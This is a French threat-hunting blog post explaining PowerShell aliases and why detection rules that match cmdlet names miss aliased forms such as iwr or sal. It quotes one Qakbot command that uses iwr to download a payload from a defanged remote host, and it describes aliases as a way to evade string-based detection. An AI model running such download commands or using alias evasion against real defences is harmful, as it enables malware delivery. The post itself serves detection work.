Chasse aux menaces et alias PowerShell

Dans cet article, je discuterai de ce que sont les alias Powershell et pourquoi il est important de les garder à l'esprit lors de l'exécution d'activités de chasse aux menaces ou de la création de règles de détection.

Qu'est-ce qu'un alias ?

Comme son nom l'indique, un alias est un autre nom pour une applet de commande ou une commande PowerShell. Une fois l'alias créé, vous pourrez l'utiliser à la place de la commande d'origine.

PS > New-Alias -Name goto -Value Set-Location

L'applet de commande Set-Locationest utilisée pour changer le répertoire du dossier actuel, après avoir exécuté la commande ci-dessus, nous pourrions changer de répertoire simplement en utilisant gotola commande.

Alors maintenant que nous savons ce que sont les alias et comment ils fonctionnent, passons à des choses plus juteuses.

Alias ​​intégrés

Il existe déjà des alias intégrés dans Powershell, que vous utilisez probablement sans même savoir qu'il s'agit bien d'un alias, par exemple :

• curlcommand est un alias intégré pourInvoke-WebRequest
• cdcommand (change directory) est un alias intégré pourSet-Location

#Show aliases for a particular cmdlet
 PS > Get-Alias -Definition Start-Process

 #List all the the cmdlets that have built-in aliases
 PS > Get-Alias

      

       built-in aliases for starting a process
      

      

       List of all cmdlets and its associated alias
      

Les attaquants peuvent l'utiliser comme technique d'évasion de défense contre les règles de détection basées sur des chaînes.

Dans un récent échantillon de Qakbot partagé par @ pr0xylife , la chaîne d'infection était — .one > .wsf > .cmd > ps > .dll — Et la commande Powershell exécutée utilisait l'un des alias — iwr — pourInvoke-WebRequest

powershell.exe -C iwr http://xxxx.]com/images/150223.gif -OutFile rei.dat

Puisqu'il existe un tas d'alias peu connus qui peuvent être abusés par TA, j'ai créé une petite feuille de triche avec certains des plus intéressants :

Et enfin, voici comment Start-Processla commande using sapsapparaîtra dans les journaux d'événements Sysmon. Nous pouvons confirmer que l'alias n'est pas "traduit" dans son applet de commande d'origine.

Il est très courant de développer une règle pour détecter une chaîne d'applet de commande Powershell spécifique sans inclure tous ses alias intégrés, ce qui pourrait entraîner une menace non détectée.

J'espère que vous avez peut-être appris quelque chose de ce blog.

Merci d'avoir lu et Bonne chasse !